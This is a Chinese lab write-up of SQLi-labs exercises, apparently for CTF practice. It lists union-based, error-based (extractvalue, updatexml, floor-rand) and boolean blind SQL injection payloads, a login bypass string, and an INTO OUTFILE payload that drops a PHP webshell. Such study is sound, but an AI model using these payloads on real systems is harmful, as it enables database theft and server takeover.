当前位置: 首页 > article >正文

SQLI—LABS刷题 | SQL总结

Less1-2(联合注入)

?id=1
查询到用户名及密码
​​​​​​​?id='1
报错:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1 LIMIT 0,1' at line 1

确定为MariaDB(与mysql几乎一样),且注入点为数字型
?id=1 order by 4 --+ 
测列数,--+将后面的语句隔断
order by 3时不报错,说明有3列
?id=-1 union select 1,2,3 --+ 爆出显位

原理:

union select之前的语句查询不到结果时,查询结果会变为1 2 3

在显位上查询相关信息
?id=-1 union select 1,database(),@@version --+

根据information_schema找数据库-表-列

1.从schemata里找数据库名schema_name

?id=-1%20union%20select%201,database(),group_concat(schema_name)%20from%20information_schema.schemata--+ 

2.从tables里找表名

?id=-1 union select 1,2,group_concat( table_name) from information_schema.tables where table_schema='security' --+

3.从columns里找列名

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'--+

4.有表名,有列名,直接查

BUUCTF的flag在ctftraining数据库下的flag表flag列

Less3

通过加单引号查看报错,发现注入点为字符型且被包在括号中。所以要闭合引号和括号

?id=-1') union select 1,2,group_concat(column_name) from…… --+

Less4

这次是双引号加括号闭合

Less5(报错注入)

无回显,联合查询失效,只能通过报错来显示信息

1.XPATH语法错误——extractvalue

查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))

2.XPATH语法错误——updatexml

爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))

3.concat+rand()+group_by()导致主键重复(表至少有3行才能用)

爆数据库名:'union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆表名:'union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆列名:'union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆数据:'union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a

原理:floor(rand(0)*2)得出一串重复的数字011011……,count(*)时,会构建一个 |值|出现次数| 的虚表。遇到0,表中没有,要把0插入,而此时rand会再次计算,导致值变为1了,所以1插入。第三条值是一,直接加1,第四条是0,表中没有,要插入,而此时又重新计算,导致插入1,而1已经出现过了,导致主键重复报错,错误信息会将查询结果显示出来
参考:关于floor()报错注入,你真的懂了吗?- FreeBuf
MYSQL报错注入的一点总结 - 先知社区 (aliyun.com)
sql注入之报错注入-CSDN博客

4.报错显示不全

最多只能显示32个字符,通过mid函数来分段查看

?id=%27and(select%20updatexml(1,mid(concat(0x7e,(select%20group_concat(flag)from%20ctftraining.flag)),1,32),0x7e))--+

Less-6 Double Query- Double Quotes- String (buuoj.cn)

Less6

双引号闭合

?id="-1 and(select extractvalue(1,mid(concat(0x7e,(select group_concat(flag) from ctftraining.flag)),32,45)))--+

Less7

into outfile语句用于将文件导入或导出

利用条件:

  1. 具有root权限
  2. 在数据库配置文件中的配置项含有:secure_file_priv=
    指定目录:secure_file_priv=/path/to/data,只能上传文件到此目录
    不限目录:secure_file_priv=
    禁止操作:secure_file_priv=NULL
    Mysql中输入  SHOW VARIABLES LIKE "secure_file_priv";  查看
  3. 知道数据库的绝对路径。

?id=1')) union select 1,2,"<?php @($_POST['cmd']);?> into outfile "C:/phpstudy/PHPTutorial/WWW/sqli/Less-7/2.php"--+

然后蚁剑

 找闭合的思路:id=1不报错;id=1'报错,说明单引号闭合;后面用--+注释掉,然后加上括号,引号等直到不报错,即为成功闭合;本题就是'))闭合

Less8(布尔盲注)

只有成功与否两种状态

用and连接substr(str,from,length),length(str)语句,逐个猜解数据库/表/列的名字的字符数以及名字

例如,?id=1 and length(database())=n,n循环猜解db的字符数

f"?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{i},1)='{chr(j)}'--+")猜解表的名称

可以写py脚本自动化

参考:布尔盲注详细原理讲解_保姆级手把手讲解自动化布尔盲注脚本编写-CSDN博客

​​​​​​​Less11(万能密码+回显 )

admin' or 1=1 #)


http://www.kler.cn/news/323756.html

相关文章:

  • QT:常用类与组件
  • Humans or LLMs as the Judge? A Study on Judgement Bias
  • Redis6.0.9配置redis集群
  • 银河麒麟高级服务器操作系统V10外接硬盘挂载指南
  • 关于el-card的height设置100%后, el-card内容超出高度后,内容被隐藏这件事
  • Tkinter制作登录界面以及登陆后页面切换--用户数据从数据库获取并进行合法性校验(二)
  • 【WPF】多屏幕展示
  • Flask学习之项目搭建
  • Linux上的C/C++编程
  • 【管理】销售管理到底应该怎么管?
  • uniapp 实现3d轮播图,也就是中间的放大两边的缩小 用swiper和swiper-item就能实现
  • CentOS7 离线部署docker和docker-compose环境
  • 图说数集相等定义表明“R各元x的对应x+0.0001的全体=R“是几百年重大错误
  • c++与Python用笛卡尔的心形函数输出爱心
  • 学习ubuntu 24.10系统目录架构
  • 【Qt】前后端交互---DataCenter类
  • 牛顿迭代法求解x 的平方根
  • 架构师:消息队列的技术指南
  • Unity 网格的细节级别 (LOD) 学习
  • Python Web架构:微服务与服务网格的实践
  • C. Cards Partition 【Codeforces Round 975 (Div. 2)】
  • 强化-极限
  • Netty入门
  • 机器学习(4):机器学习项目步骤(一)——定义问题
  • Pytorch实现Transformer
  • 激光slam学习笔记4--slam_in_autonomous_driving编译碰到问题汇总
  • 基于Python+flask+MySQL+HTML的全国范围水质分析预测系统,可视化用echarts,预测算法随机森林
  • [Redis][Zset]详细讲解
  • FastAPI前置知识及快速入门
  • Python入门:类的异步资源管理与回收( __del__ 方法中如何调用异步函数)